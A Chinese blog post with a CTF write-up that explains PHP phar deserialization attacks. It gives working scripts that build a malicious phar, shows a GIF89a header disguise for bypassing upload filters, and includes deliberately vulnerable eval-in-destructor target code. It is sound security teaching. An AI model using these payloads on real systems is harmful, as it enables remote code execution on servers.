利用phar文件拓展php反序列化攻击

0x00 开始的一点废话

最近比赛打的挺菜的,但是还是跟着师傅们学到了很多东西的,不管怎么样,还是踏踏实实一点点学,仔细写写PHP代码,不能浮于表面。

0x01 前言

通常利用反序列化漏洞的时候,只能将反序列化后的字符串传入到unserialize()中,这种漏洞随着代码安全性的提高之后难以利用。在2018年的Black Hat会议上,Sam Thomas提出了利用phar文件会以序列化字符串的形式存储用户自定义的meta_data这一点特性,拓展了php反序列化漏洞的攻击。该方法依赖于文件系统的函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,可以不依赖于unserialize()进行反序列化操作。

参考:https://paper.seebug.org/680/


0x02 原理分析

在先说phar文件如何实现php反序列化攻击的之前,先要明白什么是phar文件以及phar文件的结构。

什么是phar文件

  • phar(PHP Archive)是PHP里的一种打包文件,用于归档 。PHP版本>=5.3的时候默认开启对phar文件的支持。
  • phar文件默认状态是只读。使用phar文件不需要任何额外配置。
  • phar://伪协议用来解析phar文件的内容。

phar文件的结构

a stub

可以理解位一种标志,其格式为xxx<?php xxx;__HALT_COMPILER();?>,前面的内容不限,但是一定要以__HALT_COMPILER();?>来结尾,否则phar扩展无法识别这个文件,也就是说,phar扩展是以__HALT_COMPILER();?>为标志来识别phar文件的。

a manifest describing the contents


phar文件的本质就是一种压缩文件,每个被压缩文件的权限,属性等信息都被存放在这里,另外,用户自定义的meta-data也会被储存在这里,这是实现phar文件攻击的核心。

the file contents

被压缩的内容

[optional] a signature for verifying Phar integrity (phar file format only)

文件签名,放在文件末尾。格式如下:


0x03 利用phar文件攻击

Demo1 任意代码执行(多见于CTF)

要攻击的站点源码如下:

<?php

class Flag{
    public $code;
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}

$filename = $_GET['filename'];

file_exists($filename);

?>

传入文件名,检测该文件是否存在。

下面开始构造phar文件进行任意代码执行

  • (注)开启phar文件的生成权限需要修改php的配置文件php.ini,将;phar.readonly = On修改为Off即可,注意去掉;
  1. 生成一个phar文件,生成phar文件的代码如下:

<?php
class Flag{
    public $code;
}               //要攻击站点已存在的类
                
@unlink("test.phar");   //文件名 test.phar
$phar = new Phar("test.phar");       
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>
  1. 执行完上述代码之后,会在本地这个php文件的同目录下生成一个phar文件。如下图:

  2. 用winhex查看该文件:

  3. 可以看到,我们自定义的meta_data以序列化字符串的形式存储在了phar文件里。有序列化必然会有反序列化,PHP的大部分文件系统函数在通过phar://协议解析phar文件的时候,都会将meta_data进行反序列化操作,受影响的文件系统函数如下:

  4. 利用phar文件以及phar://伪协议进行攻击:

    实现了任意代码执行。

  • 来看php底层是怎么处理的:

    可以看到,底层代码对meta_data进行了反序列化操作。

Demo2 phar文件幻数

  • 之前提到过,phar扩展是以__HALT_COMPILER();?>来识别phar文件的,也就是说,我们可以修改phar文件头前半部分的内容,来绕过某些检测。
<?php
class Flag{
    public $code;
}               //要攻击站点已存在的类
                
@unlink("test.phar");   //文件名 test.phar
$phar = new Phar("test.phar");       
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>

在sub中新增加了GIF89a这部分,将phar文件伪装成GIF文件来绕过某些检测。

将生成的test.phar文件修改后缀名,改为test.gif,再次进行测试:


0x04 利用条件

  • phar文件必须可以上传到服务端。
  • 必须要有可以利用的魔术方法(__wakeup()、__destruct())等。
  • 文件系统的相关函数参数可控,且phar:/等关键字没有被过滤。

0x05 [GeekGame 2020] 反序列化?

  1. 进入题目,是一个文件上传的页面,下面给了提示,所以我们到/vulnerable.php看看。
  2. 直接给了源码:
<?php
highlight_file(__FILE__);
if (isset($_GET['filename'])) {
    $filename = $_GET['filename'];
} else {
    $filename = "";
}

class Flag
{
    private $code;

    function __destruct()
    {
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}

if (file_exists($filename)) {
    echo "文件存在的呢;";
} else {
    echo "啊这,文件不在哦";
}
?>
  1. 很明显是利用反序列化调用__destruct()方法来执行任意代码,但是没有unserialize()函数,要想调用魔术方法,结合题目一开始的文件上传,很容易想到phar文件的上传。
  2. 利用Demo所示的代码,生成phar文件,改为GIF文件来绕过检测,直接拿到Flag。

0x06 后记

比赛当时拿到这道题目没有一点思路,多亏了一位师傅提醒“一个phar文件的上传”,才拿到了Flag,故有此文。

posted @ 2020-05-26 21:37  泠涯  阅读(424)  评论(0编辑  收藏  举报